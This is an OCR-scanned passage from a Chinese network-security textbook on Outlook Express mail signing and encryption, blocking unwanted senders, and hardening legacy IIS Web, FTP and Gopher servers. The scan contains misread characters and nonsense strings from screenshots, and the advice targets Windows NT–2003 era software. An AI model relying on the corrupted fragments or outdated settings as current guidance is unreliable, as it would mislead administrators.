件 的 入 侵 、 防 止 恶意 邮件 的 发 生 、 防 止 邮件 的 扩散 等 强大 的 功能 。 用 户 只 要 知道 了 邮件 规则 
的 设置 ,可 以 自己 在 使 用 中 应 用 这 些 规 则 ,保证 自己 邮箱 的 安全 。 

3， 邮件 加 密 

在 Outlook Express 中 可 以 通过 数字 签名 来 证 明 用 户 的 邮件 的 身份 , 即 让 对 方 确信 该 
邮件 是 由 发 送 方 的 机 器 发 送 的 。Outlook Express 同时 提供 邮件 加 密 功 能 ,使 得 用 户 的 邮件 
只 有 预定 的 接收 者 才能 接收 并 阅读 它们 ,但 前 提 是 用 户 必 须 先 获得 对 方 的 数字 标识 。 

要 对 邮件 进行 数字 签名 必须 首先 获得 一 个 私人 的 数字 标识 (digital ID ,发 送 方 的 数字 
身份 证 ) 。 所 谓 数字 标识 是 指 由 独立 的 授权 机 构 发 放 的 证 明 用 户 在 Internet 上 身份 的 证 件 ， 
即 用 户 在 Internet 上 的 身份 证 。 这 些 发 证 的 商业 机 构 发 放 给 用 户 这 个 身份 证 并 不 断 校 验 其 
有 效 性 。 用 户 首先 向 这 些 公 司 申请 数字 标识 ,然后 就 可 以 利用 这 个 数字 标识 对 自己 写 的 邮 
件 进行 数字 签名 。 如 果 获 得 了 接收 方 的 数字 标识 ,那么 用 户 就 可 以 给 他 发 送 加 密 邮 件 。 

(1) 数字 标识 的 工作 原理 

数字 标识 由 公用 密 钥 、 私 人 密 钥 和 数字 签名 3 部 分 组 成 。 用 户 通过 对 发 送 的 邮件 进行 
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数字 签名 可 以 把 自己 的 数字 标识 发 送 给 他 人 ,这 时 他 们 收 到 的 实际 上 是 公用 密 钥 ,以 后 他 们 
就 可 以 通过 这 个 公用 密 钥 对 发 给 自己 的 邮件 进行 加 密 , 自 己 再 在 Outlook Express 中 使 用 
私人 密 钥 对 加 密 邮 件 进行 解密 和 阅读 。 数 字 标识 的 数字 签名 部 分 是 用 户 自己 的 电子 身份 
卡 ,数字 签名 可 使 收 件 人 确信 邮件 是 用 户 自 己 发 送 的 ,并 且 未 被 伪造 或 算 改 。 

(2) 数字 标识 的 申请 和 使 用 

如 果 想 给 自己 申请 一 份 电子 邮件 证 书 或 者 给 自己 的 网 站 、 服 务 器 申请 一 个 SSL 证 书 是 
很 不 容易 的 ,用 户 每 年 都 得 给 CA( 证 书 颁发 验证 组 织 ) 缴 纳 不 少 证 书 申请 费 。 

目前 Internet 上 有 和 较 多 的 数字 标识 商业 发 证 机 构 , 其 中 VeriSign 公司 是 Microsoft 的 
首选 数字 标识 提供 商 。 用 户 登录 到 http://www. verisign. com/cn/, 可 以 通过 该 网 站 申请 
数字 签名 。 

(3) 对 邮件 进行 数字 签名 

获得 数字 标识 以 后 ,就 可 以 通过 Outlook Express 很 容易 地 对 自己 所 发 送 的 电子 邮件 
进行 数字 签名 。 如 果 和 希望 对 所 有 待 发 的 邮件 都 进行 数字 签名 , 则 选择 “工具 ”|“ 选 项 ”命令 ， 
单 击 “ 安 全 ”标签 , 色 选 “在 所 有 待 发 邮件 中 添加 数字 签名 ” 复 选 框 即 可 ,如 图 8-5 所 示 。 如 果 
只 希望 对 某 一 封 邮件 进行 数字 签名 ,只 需 在 撰写 邮件 时 色 选 “数字 签名 邮件 ”命令 即 可 ,如 
图 8-10 所 示 。 当 对 邮件 数字 签名 以 后 ,该 邮件 将 出 现 签名 图 标 ,数字 签名 可 以 使 别人 确认 
邮件 确实 是 从 你 这 里 发 出 去 的 ,并 且 可 以 保证 邮件 在 传送 过 程 中 不 会 被 改变 。 但 是 ,假如 预 
定 的 接收 者 的 电子 邮件 收发 软件 不 支持 S/MIME 协议 ,他 仍然 可 以 阅读 数字 签名 的 邮件 ， 
这 时 你 的 数字 签名 只 是 简单 地 作为 一 个 附件 附 在 邮件 的 后 面 。 
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以 数字 方式 签署 邮件 ， 以 保证 邮件 发 送 的 安全 性 。 


图 8-10 数字 签名 


(4) 对 电子 邮件 加 密 
对 电子 邮件 加 密 可 以 使 之 在 传递 途中 不 被 别人 截取 并 阅读 ,因为 只 有 有 具有 私人 密 钥 的 
用 户 才能 正确 地 打开 加 密 邮 件 ,非法 用 户 看 到 的 只 是 编码 以 后 的 数字 和 字母 ,即使 自己 也 只 
能 在 Outlook Express 中 正确 读 出 。 你 的 私人 密 钥 在 安装 数字 标识 时 装 到 了 你 的 Outlook 
Express 中 ,因此 也 只 有 自己 能 正常 阅读 该 邮件 。Outlook Express 会 根据 私人 密 钥 自动 解 
。 304 。 


密 邮 件 。 需 要 说 明 的 是 : 别人 要 给 你 发 加 密 邮 件 必须 先 获得 你 的 公用 密 钥 ,因为 Outlook 
Express 需要 利用 你 的 公用 密 钥 来 对 发 给 你 的 邮件 进行 加 密 运 算 , 最 后 你 收 到 时 会 自动 由 
你 的 私人 密 钥 对 邮件 解密 。 由 于 你 的 签名 邮件 的 数字 标识 里 就 包含 了 你 的 公用 密 钥 ,所 以 
别人 获得 你 的 公用 密 钥 的 方法 是 简单 地 将 数字 标识 保存 到 地 址 每 中 。 方 法 如 下 。 

@ 打开 签名 邮件 。 

@ 从 “文件 ”菜单 中 选择 “属性 ”。 

@ 单 击 “ 安 全 ”一 栏 。 

@ 单 击 “ 加 入 地 址 簿 ”按钮 。 

如 果 想 向 对 方 发 送 加 密 邮 件 , 对 方 必须 申请 有 数字 标识 而 且 必 须 先 由 对 方 发 封 签名 邮 
件 给 你 ,你 再 将 他 的 数字 标识 保存 到 地 址 德 中 ,以 后 你 就 可 以 向 他 发 加 密 邮 件 了 。Outlook 
会 自动 检查 地 址 敌 中 是 否 有 收 件 人 的 数字 标识 ,如果 没有 ,是 不 允许 你 发 送 加 密 邮 件 的 。 

如 果 和 希望 对 所 有 待 发 的 邮件 都 进行 加 密 , 则 选择 “工具 ”|* 选 项 ”命令 , 单 击 “安全 ”标签 ， 
勾 选 “对 所 有 待 发 邮件 的 内 容 和 附件 进行 加 密 ” 复 选 框 即 可 。 如 果 只 和 希望 对 某 一 封 邮件 进行 
加 密 , 只 需 在 撰写 邮件 时 单 击 “加 密 邮 件 ? 按 钮 即 可 。 邮 件 加 密 后 将 出 现 加 密 图 标 。 

4. 预防 邮件 炸弹 

在 网 上 交友 的 时 候 , 用 户 有 时 遇 到 恶意 邮件 ,如 何 阻 止 这 种 邮件 ? Outlook 可 以 帮助 用 
户 完成 这 个 愿望 。Outlook Express 中 包含 的 Windows 通讯 夭 提 供 了 强大 的 联系 人 管理 功 
能 ,其 中 的 创建 联系 人 组 和 文件 夹 功能 可 帮助 用 户 更 好 地 管理 电子 邮件 和 个 人 地 址 。 

(1) 单 击 菜单 中 的 “工具 ”| 邮件 规则 ”| 阻止 发 件 人 ”, 打 开 阻 止 发 件 人 名 单 设 置 对 

(2) 单 击 “添加 ?按钮 ,出现 “添加 发 件 人 ?对 话 框 , 如 图 8-11 所 示 。 

邮件 规则 [?1x] 
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图 8-11 阻止 恶意 发 件 人 


(3) 在 “地 址 ”编辑 框 中 输入 被 阻止 的 发 件 人 的 E-mail 地 址 ,在 “阻止 下 列 内 容 ” 所 列 出 
的 选项 中 ,选中 用 户 想 阻止 的 邮件 类 型 ,例如 :“ 电 子 邮 件 ” 类 型 。 
(4) 单 击 “ 确 定 ” 按 钮 ,将 被 阻止 的 E-mail 地 址 添加 到 列表 中 。 
(5) 用 户 也 可 以 单 击 “ 删 除 ” 按 钮 ,删除 已 经 被 阻止 的 E-mail 地 址 或 者 单 击 “修改 ?按钮 
“B08 


来 修改 被 阻止 的 地 址 。 


8.4 IIS 服务 器 的 安全 


8.4.1 微软 的 Internet 信息 服务 器 IIS 


为 了 适应 目前 Internet/Intranet 的 潮流 ,各 公司 纷纷 推出 自己 的 WWW 信息 发 布 产 
品 ,微软 也 不 例外 。 在 微软 推出 的 一 系列 应 用 产品 和 开发 工具 中 ,有 许多 是 免费 提供 给 用 户 
使 用 的 ,从 而 占有 了 很 大 的 市 场 份额 。 在 这 些 免 费 产品 中 ,有 一 套 名 为 IIS (Internet 
Information Server) 的 Web 服务 器 产品 。 在 Windows NT 4.0 中 内 置 了 IIS 2.0 版 本 ， 
Windows 2000 Server 版 内 置 了 IIS 5.0 版 本 ,IIS 6. 0 并 没有 被 Windows Server 2003 默认 
安装 ,而 是 需要 管理 员 显 式 地 安装 这 个 组 件 。 用 户 可 以 直接 从 微软 的 网 址 (http://www. 
microsoft. com) 处 下 载 IIS 软件 。 

系统 管理 员 使 用 Windows 系统 中 的 IIS 可 以 建立 起 大 容量 、 功 能 强大 的 WWW,FTP 
和 Gopher 服务 器 ,从 而 拥有 属于 自己 的 安全 的 Internet 和 Intranet 网 站 , 它 可 以 将 信息 发 
布 给 全 世界 的 用 户 。 

IS 是 BackOffice 系列 产品 中 功能 最 强大 、 最 流行 的 应 用 程序 , 它 与 整个 BackOffice 组 
件 一 样 , IIS 也 是 围绕 Windows NT/2000 体系 而 生成 的 。 它 作为 Windows NT/2000 
Server 提供 的 一 组 服务 而 运行 ,允许 它 利 用 Windows NT/2000 的 各 项 软件 功能 。 不 过 确 
保 计 算 机 网 络 数据 完整 性 仍 是 一 个 必须 认真 对 待 的 关键 性 安全 问题 。IIS 凭借 丰富 而 又 强 
大 的 验证 .访问 控制 和 审核 功能 可 以 保证 数据 的 完整 性 , 它 的 安全 性 以 Windows NT/2000 
Server 作 系 统 为 基础 , 它 还 支持 安全 插 接 层 SSL 和 通过 对 IIS 和 支持 SSL 的 所 有 浏览 器 之 
间 的 对 话 进行 加 密 来 保证 安全 通信 更 加 保密 ,基于 IIS 服务 器 的 Web 站 点 的 安全 性 设置 如 
图 8-12 所 示 。 
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图 8-12 JIS Web 站 点 属性 
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正 由 于 IIS 的 安全 性 以 Windows 2003 等 服务 器 操作 系统 作为 基础 ,如 果 IIS 系统 被 攻 
击 ,也 就 意味 着 Windows 服务 器 遭 到 了 入 侵 , 因 此 加 强 IIS 的 安全 是 必要 的 。 


8.4.2 IIS 的 安全 基础 


JIS 以 Windows NT/2000/2003 的 安全 机 制 为 基础 。 作 为 运行 在 Windows NT/2000/2003 
操作 系统 环境 下 的 IIS, 其 安全 性 也 应 建立 在 Windows 服务 器 操作 系统 的 安全 性 的 基础 之 上 。 

1. 应 用 NTFS 文件 系统 

NTFS 可 以 对 文件 和 目录 进行 管理 ,而 FAT( 文 件 分 配 表 ) 文 件 系统 只 能 提供 共享 级 的 
安全 ,建议 在 安装 Windows 2003 时 使 用 NTFS 系统 。 

2. 共享 权限 的 修改 

在 默认 情况 下 ,每 建立 一 个 新 的 共享 ,其 everyone 用 户 就 能 享有 “完全 控制 ”的 共享 权 
限 , 因 此 ,在 建立 新 共享 后 要 立即 修改 everyone 默认 权限 。 

3. 为 系统 管理 员 账 号 更 名 

用 户 账户 管理 器 虽 可 限制 猜测 口令 的 次 数 ,但 对 系统 管理 员 账 号 却 用 不 上 ,这 可 能 给 非 
法 用 户 带 来 攻击 管理 员 账 号 口令 的 机 会 ,通过 用 户 账户 管理 器 对 管理 员 账 号 更 名 不 失 为 一 
种 好 办 法 

具体 设置 如 下 。 

(1) 启动 "用 户 账户 管理 器 ”。 

(2) 选中 管理 员 账 号 。 

(3) 启动 “用 户 ” 菜 单 下 的 “ 重 命名 ”对 其 进行 修改 。 

4. 废止 TCP/IP 上 的 NetBIOS 

管理 员 可 以 通过 构造 目标 站 NetBIOS 名 与 其 IP 地 址 之 间 的 映像 ,对 Internet 上 的 其 
他 服务 器 进行 管理 ,非法 用 户 也 可 从 中 找到 可 乘 之 机 。 如 果 这 种 远程 管理 不 是 必须 的 ,应 立 
即 废止 (通过 网 络 属性 的 绑 定 选项 ,废止 NetBIOS 与 TCP/IP 之 间 的 绑 定 ) 。 


8.4.3 IIS 的 安全 设置 


1. 安装 IIS 时 应 注意 AN 

(1) 避免 安装 在 主 域 控制 器 

在 安装 IIS 之 后 ， 0 的 计算 机 上 生成 IUSR_ Computername 匿名 账户 
(Computername 为 服务 器 的 名 字 ) ,该 账户 被 添加 到 域 用 户 组 中 ,从 而 把 应 用 于 域 用 户 组 的 
访问 权限 提供 给 访问 Web 服务 器 的 每 个 匿名 用 户 。 这 不 仪 给 IIS 带 来 巨大 的 潜在 危险 ,而 
且 还 可 能 牵连 整个 域 资 源 的 安全 ,要 尽 可 能 避免 把 IIS 安装 在 域 控制 器 上 ,尤其 是 主 域 控 
制 器 。 

(2) 避免 安装 在 系统 分 区 上 。 

把 IIS 安装 在 系统 分 区 上 ,会 使 系统 文件 与 IIS 同样 面临 非法 访问 ,容易 使 非法 用 户 侵 
入 系统 分 区 。 

2. 用 户 控 制 的 安全 性 

(1) 匿名 用 户 

安装 IIS 后 产生 的 匿名 用 户 IUSR_Computername( 密 码 随机 产生 ) ,其 匿名 访问 给 Web 

“ 307 ” 


服务 器 带 来 潜在 的 安全 性 问题 ,应 对 其 权限 加 以 控制 。 如 无 匿名 访问 需要 ,可 取消 Web 的 
匿名 服务 。 

具体 设置 方法 如 下 。 

@ 启动 ISM(Internet server manager) 。 

@ 启动 WWW 服务 属性 页 。 

@ 取消 其 匿名 访问 服务 。 

(2) 一 般 用 户 

可 以 通过 使 用 数字 与 字母 (包括 大 小 写 ) 结 合 的 口令 ,提高 修改 密码 的 频率 ,封锁 失败 的 
登录 尝试 以 及 账户 的 生存 期 等 对 一 般 用 户 账 户 进 
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IIS 服务 器 提供 对 用 户 3 种 形式 的 身份 认证 ， AAA 
如 图 8-13 所 示 。 “aa 


。 匿 名 访问 , 不 需要 与 用 户 之 间 进 行 交互 ， 厂 基本 验证 电码 用 明文 送出 ) @) 


下 Windows 域 服 劳 器 的 简要 验证 全 ) 


允许 任何 人 匿名 访问 站 点 ,在 这 3 种 身份 “|‖ 慰 闫 下 JR | 
认证 中 的 安全 性 是 最 低 的 。 取消 帮助 0 


基本 (basic) 验证: 在 此 方式 下 用 户 输入 的 
用 户 名 和 口令 以 明文 方式 在 网 络 上 传输 ， 
没有 任何 加 密 , 非 法 用 户 可 以 通过 网 上 监听 来 拦截 数据 包 , 并 从 中 获取 用 户 名 及 密 
码 ,安全 性 能 一 般 。 
。 集成 Windows 验证 : 浏览 器 通过 加 密 方式 与 IIS 服务 器 进行 交流 ,有 效 地 防止 了 究 
听 者 ,是 安全 性 比较 高 的 认证 形式 。 

4. 访问 权限 控制 

(1) 文件 夹 和 文件 的 访问 权限 : 安放 在 NTFS 文件 系统 上 的 文件 夹 和 文件 ,一 方面 要 
对 其 权限 加 以 控制 ,对 不 同 的 用 户 组 和 用 户 进 行 不 同 的 权限 设置 ;另外 ,还 可 利用 NTFS 的 
审核 功能 对 某 些 特定 用 户 组 成 员 读 文件 的 企图 等 方面 进行 审核 ,有 效 地 通过 监视 如 文件 访 
问 ,用户 对 象 的 使 用 等 发 现 非法 用 户 进行 非法 活动 的 前 兆 , 及 时 加 以 预防 制止 。 具 体 方 法 是 
选择 "用 户 账户 管理 器 ”| 规则 ”| ”审核 ?选项 ,设置 “审核 规则 ”。 

(2) WWW 目录 的 访问 权限 : 已 经 设置 成 Web 目录 的 文件 夹 ,可 以 通过 操作 Web 站 点 
属性 页 实现 对 WWW 目录 访问 权限 的 控制 ,而 该 目录 下 的 所 有 文件 和 子 文件 夹 都 将 继承 这 
些 安全 性 。WWW 服务 除了 提供 NTFS 文件 系统 提供 的 权限 外 ,还 提供 读 取 权限 ,允许 用 
户 读 取 或 下 载 WWW 目录 中 的 文件 ;执行 权限 ,允许 用 户 运行 WWW 目录 下 的 程序 和 脚 
本 ,如 图 8-14 所 示 。 

具体 设置 方法 如 下 。 

@ 启动 ISM(Internet 服务 器 管理 器 ) 。 

@ 启动 Web 属性 页 并 单 击 “目录 ”标签 。 

@ 选择 WWW 目录 。 

@ 选择 “编辑 属性 ”中 的 “目录 属性 ”进行 设置 。 


图 8-13 IIS 的 3 种 身份 认证 


.08s 


EESZETTT3IEESE | 
目录 安全 性 | ”JT1P 头 ”| 。 自 定义 错误 信息 。 | 。 服务 器 扩展 | 
Yab 站 点 | 操作 员 | 性 能 ”| ISAPI 第 先 器 。 主 目录 | 文档 
连接 到 此 资源 时 ， 人 


去 Fn 
个 重 定向 到 URLQ) 
本 地 路 径 CC); ce: \inetpub\wwwr oot 浏览 人 @). | 
厂 脚本 资源 访问 CD) 订 日 志 访问 四 
订 读 取 四 ) 太 索引 此 资源 上 
厂 写 入 曲 
厂 目录 浏览 四 ) 
应 用 程序 设置 
应 用 程序 名 员 : | __ 贡 除 @) | 


图 8-14 WWW 目录 的 访问 权限 设置 


5. IP 地 址 的 控制 

JIS 可 以 设置 允许 或 拒绝 从 特定 IP 发 来 的 服务 请 求 ,有 选择 地 允许 特定 节点 的 用 户 访 
问 服务 ,可 以 通过 设置 来 阻止 除 指定 IP 地 址 外 的 整个 网 络 用 户 来 访问 你 的 Web 服务 器 。 

具体 设置 方法 如 下 。 

(1) 启动 ISM(Internet 服务 器 管理 器 ) 。 

(2) 打开 Web 属性 页 中 的 “高 级 ”选项 卡 。 

(3) 进行 指定 IP 地 址 的 控制 设置 。 

6. 端口 安全 性 的 实现 

对 于 IIS 服务 ,无论 是 WWW 站 点 .FTP 站 点 ,还 是 NNTP,SMTP 服务 等 都 有 各 自 监 
听 和 接收 浏览 器 请 求 的 TCP 端口 号 (Post)。 一 般 常 用 的 端口 号 为 : WWW 是 80,FTP 是 
21,SMTP 是 25, 可 以 通过 修改 端口 号 来 提高 IIS 服务 器 的 安全 性 。 如 果 修 改 了 端口 设置 ， 
只 有 知道 端口 号 的 用 户 才 可 以 访问 ,但 用 户 在 访问 时 需要 指定 新 端口 号 。 

7. IP 转发 的 安全 性 

IIS 服务 可 提供 IP 数据 包 转 发 功能 ,此 时 ,充当 路 由 器 角色 的 JIS 服务 器 将 会 把 从 
Internet 接口 收 到 的 IP 数据 包 转 发 到 内 部 网 中 ,禁用 这 一 功能 不 失 为 提高 安全 性 的 好 
办 法 。 

具体 设置 方法 如 下 。 

(1) 启动 “网 络 属性 ”并 打开 “协议 ”选项 卡 。 

(2) 在 TCP/IP 属性 中 去 掉 “ 路 由 选择 ”。 

8. SSL 安全 机 制 

IIS 的 身份 认证 除了 匿名 访问 、 基 本 验证 和 Windows NT 请 求 /响应 方式 外 ,还 有 一 种 
安全 性 更 高 的 认证 一 一 通过 SSL(Security Socket Layer) 安 全 机 制 使 用 数字 证 书 。 

SSL( 加 密 套 接 字 协议 层 ) 位 于 HTTP 层 和 TCP 层 之 间 , 用 于 建立 用 户 与 服务 器 之 间 
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的 加 密 通 信 ,确保 所 传递 信息 的 安全 性 。 

SSL 是 工作 在 公共 密 钥 和 私人 密 钥 基础 上 的 ,任何 用 户 都 可 以 获得 公共 密 钥 来 加 密 数 
据 , 但 解密 数据 必须 要 通过 相应 的 私人 密 钥 。 使 用 SSL 安全 机 制 时 ,首先 客户 端 与 服务 器 
之 间 建 立 连 接 , 服 务 器 把 它 的 数字 证 书 与 公共 密 钥 一 并 发 送 给 客户 端 ,客户 端 随机 生成 会 话 
密 钥 ,用 从 服务 器 得 到 的 公共 密 钥 对 会 话 密 钥 进行 加 密 ,并 把 会 话 密 钥 在 网 络 上 传递 给 服务 
器 ,而 会 话 密 钥 只 有 在 服务 器 端 用 私人 密 钥 才能 解密 ,这 样 ,客户 端 和 服务 器 端 就 建立 了 一 
个 唯一 的 安全 通道 。 

具体 步骤 如 下 。 

(1) 启动 ISM 并 打开 Web 站 点 的 属性 页 。 

(2) 打开 “目录 安全 性 ”选项 卡 。 

(3) 单 击 “ 服 务 器 证 书 ” 按 钮 。 

(4) 通过 服务 器 证 书 管理 器 生成 密 钥 文 件 和 请 求 文件 。 

(5) 从 身份 认证 权限 中 申请 一 个 证 书 。 

(6) 通过 服务 器 证 书 在 服务 器 上 安装 证 书 。 

(7) 激活 Web 站 点 的 SSL 安全 性 。 

建立 了 SSL 安全 机 制 后 ,只 有 SSL 允许 的 客户 才能 与 SSL 允许 的 Web 站 点 进行 通信 ， 
并 且 在 使 用 URL 资源 定位 器 时 ,输入 https:// ,而 不 是 http:// 。 

SSL 安全 机 制 的 实现 ,将 增 大 系统 开销 ,增加 了 服务 器 CPU 的 额外 负担 ,从 而 降低 了 
系统 性 能 ,在 规划 时 建议 仅 考虑 为 高 敏感 度 的 Web 目录 使 用 。 另 外 ,SSL 客户 端 需要 使 用 
IE 3.0 以 上 版 本 。 


8.4.4 Web 服务 器 的 安全 性 


Web 服务 器 是 IIS 中 一 个 强 有 力 的 功能 全 面 的 工具 , 它 优 于 其 他 同类 产品 。 它 的 性 能 
得 到 优化 , 且 作 为 Windows NT/2000/2003 Server 下 的 一 项 服务 运行 时 ,能 为 各 种 规模 的 
网 络 提供 快速 方便、 安全 的 Web 发 布 功能 。 

如 果 计 划 建 立 Web 网 站 ,要 确保 Web 网 站 及 其 内 容 的 安全 和 网 络 及 其 资源 的 安全 , 除 
了 曾经 提 到 过 的 安全 措施 外 ,还 要 采取 其 他 相应 的 手段 。 

由 于 IS 提供 的 3 种 服务 配置 起 来 非常 相似 , 故 只 详细 介绍 Web 服务 器 的 配置 ,以 及 
FTP 服务 器 和 Gopher 服务 器 的 差异 。 

1. 用 户 和 口令 验证 

首先 需要 了 解 匿名 访问 的 严重 后 果 , 并 采取 预防 措施 来 确保 为 匿名 访问 创建 的 账户 拥 
有 适当 的 许可 权 。 若 要 设置 用 户 对 Web 服务 器 进行 访问 的 类 型 ,请 在 IIS 服务 管理 器 中 双 
击 WWW, 调 出 Web 服务 器 再 双击 Web 服务 器 ,就 会 显示 出 WWW Service Properties 对 
话 框 。 在 对 话 框 中 ,可 以 看 到 设置 Web 服务 器 服务 程序 可 以 使 用 多 种 选项 。 对 于 安装 的 大 
多 数 IIS 而 言 ,默认 选项 最 好 。 然 而 ,有 两 种 关键 的 设置 将 决定 用 户 对 Web 网 站 的 访问 等 
级 : 匿名 登录 和 口令 验证 。 

如 果 你 希望 允许 大 众 进行 访问 ,一 定 要 确保 你 同意 匿名 访问 。 按 照 默 认 设 置 , 当 IIS 安 
装 好 后 ,在 你 的 用 户 数 据 库 就 会 创建 一 个 新 用 户 账户 ,其 名 字 为 TUSR_, 后 接 已 安装 好 的 服 
务 器 名 。 例 如 ,如 果 服 务 器 名 为 FS, 新 用 户 账户 则 为 TUSR_FS。 当 账户 创建 好 后 , 它 被 赋 
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予 有 限 的 访问 权 , 并 增加 到 域 用 户 、guest 用 户 和 everyone 组 中 。 

此 外 ,IUSR_ 账 户 被 赋予 在 本 地 登录 的 权限 (Logon Locally)。 所 有 Web 用 户 都 必须 具 
有 这 种 权限 ,原因 是 他 们 的 请 求 被 传送 至 Web 服务 器 服务 程序 ,该 服务 程序 利用 他 们 的 账 
户 去 登录 ,接着 允许 Windows 服务 器 操作 系统 分 配 相应 的 访问 权 。 

如 果 希 望 所 有 用 户 按 照 特定 的 用 户 账户 和 口令 得 到 验证 ,仅仅 清除 Anonymous Logon 
(匿名 登录 ) 选 项 即 可 。 这 将 要 求 各 用 户 在 访问 服务 器 的 资源 前 输入 有 效 的 用 户 ID 和 口令 。 
如 果 能 启动 启示 功能 ,你 就 能 查看 到 谁 正 访问 Web 服务 器 以 及 他 们 所 进行 的 操作 。 

另 一 项 决定 网 站 安全 性 的 重要 内 容 是 设置 使 用 的 口令 验证 类 型 ,这 里 不 再 深入 探讨 。 
为 了 实现 最 大 的 安全 性 ,可 以 激活 Windows NT Challenge/Response 选项 , 它 在 传输 信息 
前 对 你 的 用 户 ID 和 口令 进行 加 密 , 从 而 保证 账户 信息 在 网 络 安全 传输 。 

2. 虚拟 目录 

为 确保 网 站 的 安全 性 ,配置 Web 服务 器 可 以 看 到 的 目录 以 及 相应 的 访问 层次 也 是 很 重 
要 的 。 当 第 一 次 安装 IIS 时 ,按照 默认 设置 , 它 会 自行 创建 一 个 叫做 InetPub 的 目录 ,接着 为 
其 提供 的 Internet 服务 生成 根 目 录 。Web 服务 器 的 根 目录 默认 为 wwwroot, 它 应 当 是 主页 
所 在 位 置 。 接 着 可 以 使 用 Directories 标签 来 增加 存储 额外 内 容 的 新 目录 。 

3. Web 服务 器 安全 提示 

如 果 正 运行 Web 服务 器 ,尽管 已 根据 以 前 所 讨论 过 的 内 容 采 取 了 预防 措施 ,也 许 仍 有 
些 安全 漏洞 有 待 于 修补 。 

以 下 列 出 当 提供 Web 服务 时 ,应 当 采 取 的 一 般 措 施 。 

(1) 停 用 . bat 和 . cmd 文件 的 映射 功能 。 如 果 黑 客 们 得 到 这 些 Web 服务 器 上 的 可 执行 
文件 ,他 们 就 可 运行 这 些 Web 文件 。 通 过 取消 对 脚本 程序 的 所 有 目录 的 阅读 许可 权 , 就 可 
以 停 用 某 些 文件 夹 映射 功能 。 

(2) 总 是 将 你 的 脚本 程序 和 数据 存储 在 不 同 的 目录 ,务必 使 包含 脚本 程序 的 目录 只 拥 
有 执行 许可 权 。 

(3) 禁止 使 用 Directory Browsing Allowed( 人 允许 目录 浏览 ) 。 这 一 功能 启动 后 会 给 出 一 
个 浏览 器 ,该 浏览 器 含有 某 个 目录 中 的 超 文本 文件 列表 ,从 而 使 黑客 能 筑 改 目录 中 的 文件 。 

(4) 避免 使 用 Remote Virtual Directories( 远 程 虚拟 目录 )。 务 必 将 IIS 所 有 的 可 执行 
文件 以 及 数据 安装 在 同一 台 机 器 上 ,并 利用 NTFS 来 保护 。 当 用 户 试 图 从 远程 目录 访问 文 
档 时 ,总 是 使 用 输入 到 属性 页 上 的 用 户 名 和 口令 ,这 就 有 可 能 绕 过 访问 控制 列表 。 当 编写 和 
使 用 CGI 脚本 程序 时 ,一 定 要 小 心 。 有 经 验 的 黑客 也 许 会 利用 编写 拙劣 的 CGI 脚本 程序 来 
对 你 的 系统 进行 访问 。 

(5) 牢记 特权 最 小 的 原则 ,如 果 计 划 只 运行 Web 服务 器 ,那么 只 需 激活 Web 服务 器 主 
机 的 端口 80。 

(6) 全 面 测试 你 的 Web 服务 器 ,设法 发 现 并 弥补 所 有 漏洞 。 最 好 的 方法 是 让 可 靠 而 且 
内 行 的 同事 设法 破坏 你 网 络 的 安全 性 。 


8.4.5 FTP 与 Gopher 服务 器 安全 性 


1. 安全 性 和 FTP 服务 器 
FTP 服务 器 是 唯一 一 项 允许 用 户 通 过 Internet 将 文件 传输 至 服务 器 的 IS 服务 程序 。 
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设置 FTP 安全 性 能 .用 户 和 口令 验证 与 Web 服务 器 大 致 相似 。 但 是 有 一 点 值得 注意 : 用 
户 名 和 口令 将 以 明文 ( 非 加 密 ) 形 式 传输 至 FTP 服务 器 服务 程序 ,这 意味 着 如 果 使 用 网 络 嗅 
探 器 就 可 以 捕捉 到 这 一 信息 ,从 而 破坏 网 络 的 安全 。 

在 允许 大 众 进行 访问 时 ,一 定 要 熟悉 FTP Service Properties 页 的 Current Session 选 
项 。 它 告诉 哪个 用 户 与 FTP 服务 器 相连 ,它们 何 时 连接 ,以 及 它们 已 连接 多 长 时 间 。 

虚拟 目录 设置 FTP 服务 器 的 目录 与 设置 Web 服务 器 服务 程序 十 分 类 似 , 一 定 要 保证 
用 户 不 能 访问 FTPRoot 目录 之 外 的 目录 ,并 要 正确 设置 FTP 目录 的 访问 许可 。 

FTP 服务 器 安全 提示 , 当 运 行 FTP 服务 器 时 ,为 保证 安全 应 当 了 解 以 下 事项 。 

(1) 谨 记 用 户 可 以 修改 FTP 服务 器 的 目录 。 一 定 要 确保 他 们 无 法 进入 FTPRoot 目录 
以 外 的 目录 ,同时 要 使 用 NTFS 来 保证 服务 器 的 安全 。 

(2) 避免 使 用 远程 虚拟 目录 。 当 用 户 从 远程 目录 访问 文档 时 ,总 是 要 求 其 提供 输入 到 
属性 页 的 用 户 名 和 口令 ,这 就 有 可 能 绕 过 访问 控制 表 。 

(3) 一 定 要 启动 记录 功能 ,查找 可 疑 活动 ,如 在 日 志和 事件 查看 器 中 查找 没有 成 功 的 
(4) 如 果 只 计划 运行 FTP 服务 器 ,只 需 启 动 FTP 主机 的 端口 20 和 端口 21 。 
(5) 全 面 测试 FTP 服务 器 ,并 设法 找到 所 有 漏洞 。 可 以 通过 让 一 个 可 靠 的 内 行 的 同事 
设法 侵入 系统 来 测试 。 

2. 安全 性 和 Gopher 服务 器 

保护 Gopher 服务 器 与 保护 FTP 服务 程序 、Web 服务 程序 很 类 似 ,差别 在 于 Gopher 只 
允许 匿名 登录 。 


8.5 电子 商务 的 安全 


8.5.1 电子 商务 安全 概述 


随 着 通信 网 络 技术 的 飞速 发 展 ,特别 是 Internet 的 不 断 普 及 ,人 们 的 消费 观念 和 整个 商 
务 系统 也 发 生 了 巨大 的 变化 。 人 们 更 希望 通过 网 络 的 便利 性 来 进行 网 络 采购 和 交易 ,从 而 
导致 了 电子 商务 (electronic commerce) 的 出 现 ,并 在 世界 范围 内 掀起 了 电子 商务 的 热潮 。 

电子 商务 的 发 展 给 人 们 的 工作 和 生活 带 来 了 新 的 尝试 和 便利 性 ,但 并 没有 像 人 们 想象 
的 那样 普及 和 深入 , 除 其 他 因素 外 ,一 个 很 重要 的 原因 就 是 电子 商务 的 安全 性 , 它 成 为 阻碍 
电子 商务 发 展 的 瓶颈 。 美 国 密 执 安 大 学 一 个 调查 机 构 通过 对 23 000 名 因特网 用 户 的 调查 
显示 ,超过 60%% 的 人 由 于 担心 电子 商务 的 安全 问题 而 不 愿 进行 网 上 购物 。 任 何 个 人 、 企 业 
或 商业 机 构 以 及 银行 都 不 会 通过 一 个 不 安全 的 网 络 进行 商务 交易 ,这 样 会 导致 商业 机 密 信 
息 或 个 人 隐私 的 泄漏 ,从 而 导致 巨大 的 利益 损失 。 

电子 商务 中 的 安全 隐患 可 分 为 如 下 几 类 。 

